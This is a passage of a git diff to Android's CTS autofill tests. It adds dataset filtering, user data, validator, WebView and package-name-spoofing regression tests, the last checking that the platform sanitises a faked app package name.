+                        .setPresentation(createPresentation("DS3"))
+                        .setAuthentication(authentication)
+                        .build())
+                .build());
+
+        // Set expectation for the activity
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+
+        // Make sure it's showing initially...
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then type something to hide them.
+        runShellCommand("input keyevent KEYCODE_A");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Now delete the char and assert they're shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        callback.assertUiShownEvent(username);
+        sUiBot.assertDatasets("DS1", "DS2", "DS3");
+
+        // ...then filter for 2
+        runShellCommand("input keyevent KEYCODE_D");
+        sUiBot.assertDatasets("DS1", "DS2");
+
+        // ...up to 1
+        runShellCommand("input keyevent KEYCODE_U");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_D");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_E");
+        sUiBot.assertDatasets("DS1", "DS2");
+        runShellCommand("input keyevent KEYCODE_COMMA");
+        sUiBot.assertDatasets("DS2");
+
+        // Now delete the char and assert 2 are shown again...
+        runShellCommand("input keyevent KEYCODE_DEL");
+        final UiObject2 picker = sUiBot.assertDatasets("DS1", "DS2");
+
+        // ...and select it this time
+        sUiBot.selectDataset(picker, "DS1");
+        callback.assertUiHiddenEvent(username);
+        sUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
     public void testDatasetAuthFilteringUsingRegex() throws Exception {
         // Set service.
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
index fcb4e30..84765ef 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/UiBot.java
@@ -18,6 +18,7 @@
 
 import static android.autofillservice.cts.Helper.NOT_SHOWING_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.SAVE_TIMEOUT_MS;
+import static android.autofillservice.cts.Helper.UI_DATASET_PICKER_TIMEOUT_MS;
 import static android.autofillservice.cts.Helper.UI_TIMEOUT_MS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
@@ -60,6 +61,7 @@
     private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
     private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
+    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
 
     private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
     private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
@@ -71,6 +73,9 @@
     private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
     private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
             "autofill_save_type_email_address";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "save_password_notnow";
+    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
+
     private static final String RESOURCE_STRING_AUTOFILL = "autofill";
     private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
             "autofill_picker_accessibility_title";
@@ -85,13 +90,12 @@
     /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
     public static int LANDSCAPE = 1;
 
-
     private final UiDevice mDevice;
     private final Context mContext;
     private final String mPackageName;
     private final UiAutomation mAutoman;
 
-    UiBot(Instrumentation instrumentation) throws Exception {
+    UiBot(Instrumentation instrumentation) {
         mDevice = UiDevice.getInstance(instrumentation);
         mContext = instrumentation.getContext();
         mPackageName = mContext.getPackageName();
@@ -119,9 +123,29 @@
      * @return the dataset picker object.
      */
     UiObject2 assertDatasets(String...names) {
-        final UiObject2 picker = findDatasetPicker();
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
         assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(Arrays.asList(names));
+                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
+        return picker;
+    }
+
+    /**
+     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
+     *
+     * @return the dataset picker object.
+     */
+    UiObject2 assertDatasetsWithBorders(String header, String footer, String...names) {
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
+        final List<String> expectedChild = new ArrayList<>();
+        if (header != null) {
+            expectedChild.add(header);
+        }
+        expectedChild.addAll(Arrays.asList(names));
+        if (footer != null) {
+            expectedChild.add(footer);
+        }
+        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
+                .containsExactlyElementsIn(expectedChild).inOrder();
         return picker;
     }
 
@@ -148,7 +172,7 @@
      * Selects a dataset that should be visible in the floating UI.
      */
     void selectDataset(String name) {
-        final UiObject2 picker = findDatasetPicker();
+        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT_MS);
         selectDataset(picker, name);
     }
 
@@ -404,11 +428,15 @@
             assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
         }
 
-        final String negativeButtonText = (negativeButtonStyle
-                == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) ? "NOT NOW" : "NO THANKS";
-        UiObject2 negativeButton = snackbar.findObject(By.text(negativeButtonText));
-        assertWithMessage("negative button (%s)", negativeButtonText)
-                .that(negativeButton).isNotNull();
+        final String negativeButtonStringId =
+                (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT)
+                ? RESOURCE_STRING_SAVE_BUTTON_NOT_NOW
+                : RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
+        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
+        final UiObject2 negativeButton = waitForObject(snackbar,
+                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), UI_TIMEOUT_MS);
+        assertWithMessage("wrong text on negative button")
+                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
 
         final String expectedAccessibilityTitle =
                 getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
@@ -578,10 +606,6 @@
                 selector, UI_TIMEOUT_MS);
     }
 
-    private UiObject2 findDatasetPicker() {
-        return findDatasetPicker(UI_TIMEOUT_MS);
-    }
-
     private UiObject2 findDatasetPicker(long timeout) {
         final UiObject2 picker = waitForObject(By.res("android", RESOURCE_ID_DATASET_PICKER),
                 timeout);
@@ -658,7 +682,7 @@
                 for (String line : os.toString("UTF-8").split("\n")) {
                     Log.w(TAG, line);
                     // Sleep a little bit to avoid logs being ignored due to spam
-                    SystemClock.sleep(10);
+                    SystemClock.sleep(100);
                 }
             }
         } catch (IOException e) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
new file mode 100644
index 0000000..e1100e8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/UserDataTest.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.UserData;
+import android.support.test.runner.AndroidJUnit4;
+
+import com.google.common.base.Strings;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class UserDataTest {
+
+    private final String mShortValue = Strings.repeat("k", UserData.getMinValueLength() - 1);
+    private final String mLongValue = "LONG VALUE, Y U NO SHORTER"
+            + Strings.repeat("?", UserData.getMaxValueLength());
+    private final String mRemoteId = "id1";
+    private final String mRemoteId2 = "id2";
+    private final String mValue = mShortValue + "-1";
+    private final String mValue2 = mShortValue + "-2";
+    private final UserData.Builder mBuilder = new UserData.Builder(mRemoteId, mValue);
+
+    @Test
+    public void testBuilder_invalid() {
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(mRemoteId, null));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, ""));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, mShortValue));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder(mRemoteId, mLongValue));
+        assertThrows(NullPointerException.class,
+                () -> new UserData.Builder(null, mValue));
+        assertThrows(IllegalArgumentException.class,
+                () -> new UserData.Builder("", mValue));
+    }
+
+    @Test
+    public void testAdd_invalid() {
+        assertThrows(NullPointerException.class, () -> mBuilder.add(mRemoteId, null));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, ""));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mShortValue));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add(mRemoteId, mLongValue));
+        assertThrows(NullPointerException.class, () -> mBuilder.add(null, mValue));
+        assertThrows(IllegalArgumentException.class, () -> mBuilder.add("", mValue));
+    }
+
+    @Test
+    public void testAdd_duplicatedId() {
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue2));
+    }
+
+    @Test
+    public void testAdd_maximumReached() {
+        // Must start from 1 because first is added on builder
+        for (int i = 1; i < UserData.getMaxFieldClassificationIdsSize() - 1; i++) {
+            mBuilder.add("ID" + i, mShortValue.toUpperCase() + i);
+        }
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId, mValue));
+    }
+
+    @Test
+    public void testBuild_valid() {
+        assertThat(mBuilder.build()).isNotNull();
+    }
+
+    @Test
+    public void testNoMoreInteractionsAfterBuild() {
+        testBuild_valid();
+
+        assertThrows(IllegalStateException.class, () -> mBuilder.add(mRemoteId2, mValue));
+        assertThrows(IllegalStateException.class, () -> mBuilder.build());
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
index 4a944ee..5214748 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorTest.java
@@ -21,11 +21,14 @@
 import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
 
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.mock;
+
+import android.service.autofill.InternalValidator;
 import android.service.autofill.LuhnChecksumValidator;
-import android.service.autofill.RegexValidator;
-import android.service.autofill.Validator;
-import android.service.autofill.Validators;
-import android.support.annotation.NonNull;
+import android.service.autofill.ValueFinder;
 import android.view.View;
 import android.view.autofill.AutofillId;
 
@@ -34,11 +37,9 @@
 import org.junit.Rule;
 import org.junit.Test;
 
-import java.util.function.BiFunction;
-import java.util.regex.Pattern;
-
-// TODO: this class should only have 2 integration tests (for showing or not showing the UI); all
-// other tests should be moved to ValidatorsTest.
+/**
+ * Simple integration test to verify that the UI is only shown if the validator passes.
+ */
 public class ValidatorTest extends AutoFillServiceTestCase {
     @Rule
     public final AutofillActivityTestRule<LoginActivity> mActivityRule =
@@ -56,24 +57,30 @@
         WelcomeActivity.finishIt();
     }
 
-    /**
-     * Base test
-     *
-     * @param validatorBuilder method to build a validator
-     * @param willSaveBeShown  Whether the save pop-up will be shown
-     */
-    private void testValidator(
-            @NonNull BiFunction<AutofillId, AutofillId, Validator> validatorBuilder,
-            boolean willSaveBeShown) throws Exception {
+    @Test
+    public void testShowUiWhenValidatorPass() throws Exception {
+        integrationTest(true);
+    }
+
+    @Test
+    public void testDontShowUiWhenValidatorFails() throws Exception {
+        integrationTest(false);
+    }
+
+    private void integrationTest(boolean willSaveBeShown) throws Exception {
         enableService();
 
-        AutofillId usernameId = mActivity.getUsername().getAutofillId();
-        AutofillId passwordId = mActivity.getPassword().getAutofillId();
+        final AutofillId usernameId = mActivity.getUsername().getAutofillId();
+
+        final String username = willSaveBeShown ? "7992739871-3" : "4815162342-108";
+        final LuhnChecksumValidator validator = new LuhnChecksumValidator(usernameId);
+        // Sanity check to make sure the validator is properly configured
+        assertValidator(validator, usernameId, username, willSaveBeShown);
 
         // Set response
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_USERNAME, ID_PASSWORD)
-                .setValidator(validatorBuilder.apply(usernameId, passwordId))
+                .setValidator(validator)
                 .build());
 
         // Trigger auto-fill
@@ -83,8 +90,8 @@
         sReplier.getNextFillRequest();
 
         // Trigger save.
-        mActivity.onUsername((v) -> v.setText("7992739871-3"));
-        mActivity.onPassword((v) -> v.setText("passwd"));
+        mActivity.onUsername((v) -> v.setText(username));
+        mActivity.onPassword((v) -> v.setText("pass"));
         mActivity.tapLogin();
 
         if (willSaveBeShown) {
@@ -97,45 +104,10 @@
         assertNoDanglingSessions();
     }
 
-    @Test
-    public void checkForInvalidField() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new LuhnChecksumValidator(new AutofillId(-1)),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkBoth() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.and(
-                new LuhnChecksumValidator(usernameId),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkEither1() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("7.*")),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkEither2() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("invalid")),
-                new RegexValidator(passwordId, Pattern.compile("pass.*"))), true);
-    }
-
-    @Test
-    public void checkBothButFail() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.and(
-                new RegexValidator(usernameId, Pattern.compile("7.*")),
-                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
-    }
-
-    @Test
-    public void checkEitherButFail() throws Exception {
-        testValidator((usernameId, passwordId) -> Validators.or(
-                new RegexValidator(usernameId, Pattern.compile("invalid")),
-                new RegexValidator(passwordId, Pattern.compile("invalid"))), false);
+    private void assertValidator(InternalValidator validator, AutofillId id, String text,
+            boolean valid) {
+        final ValueFinder valueFinder = mock(ValueFinder.class);
+        doReturn(text).when(valueFinder).findByAutofillId(id);
+        assertThat(validator.isValid(valueFinder)).isEqualTo(valid);
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
index 1401949..6c7979d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/ValidatorsTest.java
@@ -16,11 +16,15 @@
 
 package android.autofillservice.cts;
 
+import static android.service.autofill.Validators.and;
 import static android.service.autofill.Validators.not;
+import static android.service.autofill.Validators.or;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import static org.mockito.Mockito.when;
+import static org.mockito.Mockito.doReturn;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
 import static org.testng.Assert.assertThrows;
 
 import android.service.autofill.InternalValidator;
@@ -36,8 +40,85 @@
 public class ValidatorsTest extends AutoFillServiceTestCase {
 
     @Mock private Validator mInvalidValidator;
-    @Mock private InternalValidator mValidValidator;
     @Mock private ValueFinder mValueFinder;
+    @Mock private InternalValidator mValidValidator;
+    @Mock private InternalValidator mValidValidator2;
+
+    @Test
+    public void testAnd_null() {
+        assertThrows(NullPointerException.class, () -> and((Validator) null));
+        assertThrows(NullPointerException.class, () -> and(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> and(null, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> and(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testAnd_firstFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testAnd_firstPassedSecondFailed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testAnd_AllPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) and(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
+
+    @Test
+    public void testOr_null() {
+        assertThrows(NullPointerException.class, () -> or((Validator) null));
+        assertThrows(NullPointerException.class, () -> or(mValidValidator, null));
+        assertThrows(NullPointerException.class, () -> or(null, mValidValidator));
+    }
+
+    @Test
+    public void testOr_invalid() {
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mValidValidator, mInvalidValidator));
+        assertThrows(IllegalArgumentException.class, () -> or(mInvalidValidator, mValidValidator));
+    }
+
+    @Test
+    public void testOr_AllFailed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(false).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isFalse();
+    }
+
+    @Test
+    public void testOr_firstPassed() {
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+        verify(mValidValidator2, never()).isValid(mValueFinder);
+    }
+
+    @Test
+    public void testOr_secondPassed() {
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
+        doReturn(true).when(mValidValidator2).isValid(mValueFinder);
+        assertThat(((InternalValidator) or(mValidValidator, mValidValidator2))
+                .isValid(mValueFinder)).isTrue();
+    }
 
     @Test
     public void testNot_null() {
@@ -51,14 +132,14 @@
 
     @Test
     public void testNot_falseToTrue() {
-        when(mValidValidator.isValid(mValueFinder)).thenReturn(false);
+        doReturn(false).when(mValidValidator).isValid(mValueFinder);
         final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
         assertThat(notValidator.isValid(mValueFinder)).isTrue();
     }
 
     @Test
     public void testNot_trueToFalse() {
-        when(mValidValidator.isValid(mValueFinder)).thenReturn(true);
+        doReturn(true).when(mValidValidator).isValid(mValueFinder);
         final InternalValidator notValidator = (InternalValidator) not(mValidValidator);
         assertThat(notValidator.isValid(mValueFinder)).isFalse();
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
index 7adc10c..f5401af 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerActivityTest.java
@@ -35,6 +35,7 @@
 import android.autofillservice.cts.CannedFillResponse.CannedDataset;
 import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
 import android.autofillservice.cts.VirtualContainerView.Line;
+import android.content.ComponentName;
 import android.graphics.Rect;
 import android.os.SystemClock;
 import android.service.autofill.SaveInfo;
@@ -411,6 +412,30 @@
         sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
     }
 
+    @Test
+    public void testAppCannotFakePackageName() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.acceptRequestsFromPackage("MALICIOUS");
+        mActivity.mCustomView.fakePackageName(new ComponentName("MALICIOUS", "AM.I"));
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.mUsername.changeFocus(true);
+        assertDatasetShown(mActivity.mUsername, "The Dude");
+
+        // Make sure package name was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        assertThat(request.structure.getActivityComponent().getPackageName())
+                .isEqualTo(mPackageName);
+    }
+
     /**
      * Asserts the dataset picker is properly displayed in a give line.
      */
diff --git a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
index 205fcae..d8b1c47 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/VirtualContainerView.java
@@ -20,7 +20,9 @@
 
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
+import android.content.ComponentName;
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -72,6 +74,7 @@
     private int mUnfocusedColor;
     private boolean mSync = true;
     private boolean mOverrideDispatchProvideAutofillStructure = false;
+    private ComponentName mFackedComponentName;
 
     public VirtualContainerView(Context context, AttributeSet attrs) {
         super(context, attrs);
@@ -192,6 +195,18 @@
         Log.d(TAG, "onProvideAutofillVirtualStructure(): flags = " + flags);
         super.onProvideAutofillVirtualStructure(structure, flags);
 
+        if (mFackedComponentName != null) {
+            Log.d(TAG, "Faking package name to " + mFackedComponentName);
+            try {
+                final AssistStructure assistStructure = Helper.getField(structure, "mAssist");
+                if (assistStructure != null) {
+                    Helper.setField(assistStructure, "mActivityComponent", mFackedComponentName);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Could not fake package name to " + mFackedComponentName, e);
+            }
+        }
+
         final String packageName = getContext().getPackageName();
         structure.setClassName(getClass().getName());
         final int childrenSize = mItems.size();
@@ -254,6 +269,11 @@
         mSync = sync;
     }
 
+    void fakePackageName(ComponentName name) {
+        mFackedComponentName = name;
+    }
+
+
     void setOverrideDispatchProvideAutofillStructure(boolean flag) {
         mOverrideDispatchProvideAutofillStructure = flag;
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
index e845fc4..331c3d3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivity.java
@@ -18,11 +18,13 @@
 import android.os.Bundle;
 import android.support.test.uiautomator.UiObject2;
 import android.util.Log;
+import android.view.View;
 import android.webkit.WebResourceRequest;
 import android.webkit.WebResourceResponse;
 import android.webkit.WebView;
 import android.webkit.WebViewClient;
 import android.widget.EditText;
+import android.widget.LinearLayout;
 
 import java.io.IOException;
 
@@ -33,10 +35,21 @@
     private static final String FAKE_URL = "https://" + FAKE_DOMAIN + ":666/login.html";
     static final String ID_WEBVIEW = "webview";
 
+    static final String HTML_NAME_USERNAME = "username";
+    static final String HTML_NAME_PASSWORD = "password";
+
+    static final String ID_OUTSIDE1 = "outside1";
+    static final String ID_OUTSIDE2 = "outside2";
+
     // TODO(b/69557967): WebView currently does not report the nodes content description properties.
     private static final boolean CONTENT_DESCRIPTION_SUPPORTED = false;
 
-    MyWebView mWebView;
+    private MyWebView mWebView;
+
+    private LinearLayout mOutsideContainer1;
+    private LinearLayout mOutsideContainer2;
+    EditText mOutside1;
+    EditText mOutside2;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
@@ -67,7 +80,23 @@
                 }
             }
         });
-        mWebView.loadUrl(FAKE_URL);
+
+        mOutsideContainer1 = findViewById(R.id.outsideContainer1);
+        mOutsideContainer2 = findViewById(R.id.outsideContainer2);
+        mOutside1 = findViewById(R.id.outside1);
+        mOutside2 = findViewById(R.id.outside2);
+    }
+
+    public MyWebView loadWebView() {
+        syncRunOnUiThread(() -> mWebView.loadUrl(FAKE_URL));
+        return mWebView;
+    }
+
+    public void loadOutsideViews() {
+        syncRunOnUiThread(() -> {
+            mOutsideContainer1.setVisibility(View.VISIBLE);
+            mOutsideContainer2.setVisibility(View.VISIBLE);
+        });
     }
 
     public UiObject2 getUsernameLabel(UiBot uiBot) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
index 68af3472..6eab0f3 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -16,6 +16,10 @@
 package android.autofillservice.cts;
 
 import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE1;
+import static android.autofillservice.cts.WebViewActivity.ID_OUTSIDE2;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -81,12 +85,15 @@
         // Set service.
         enableService();
 
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView();
+
         // Set expectations.
-        mActivity.mWebView.expectAutofill("dude", "sweet");
+        myWebView.expectAutofill("dude", "sweet");
         final MyAutofillCallback callback = mActivity.registerCallback();
         sReplier.addResponse(new CannedDataset.Builder()
-                .setField("username", "dude")
-                .setField("password", "sweet")
+                .setField(HTML_NAME_USERNAME, "dude")
+                .setField(HTML_NAME_PASSWORD, "sweet")
                 .setPresentation(createPresentation("The Dude"))
                 .build());
 
@@ -96,19 +103,19 @@
         sUiBot.assertDatasets("The Dude");
 
         // Change focus around.
-        final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
         mActivity.getUsernameLabel(sUiBot).click();
-        callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
         sUiBot.assertNoDatasets();
         mActivity.getPasswordInput(sUiBot).click();
-        final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
         final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
 
         // Now Autofill it.
         sUiBot.selectDataset(datasetPicker, "The Dude");
-        mActivity.mWebView.assertAutofilled();
+        myWebView.assertAutofilled();
         sUiBot.assertNoDatasets();
-        callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
 
         // Make sure screen was autofilled.
         assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
@@ -120,21 +127,14 @@
 
         // Assert structure passed to service.
         try {
-            final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
-            // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
-            // be inside HtmlInfo, but Chromium 61 does not implement that.
-            if (webViewNode.getClassName().equals("android.webkit.WebView")) {
-                final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
-                Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
-            } else {
-                assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
-                assertThat(webViewNode.getHtmlInfo()).isNull();
-            }
+            final ViewNode webViewNode =
+                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
             assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
             assertThat(webViewNode.getWebScheme()).isEqualTo("https");
 
             final ViewNode usernameNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, "username");
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
             Helper.assertTextIsSanitized(usernameNode);
             final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
             Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
@@ -144,7 +144,7 @@
             assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
 
             final ViewNode passwordNode =
-                    Helper.findNodeByHtmlName(fillRequest.structure, "password");
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
             Helper.assertTextIsSanitized(passwordNode);
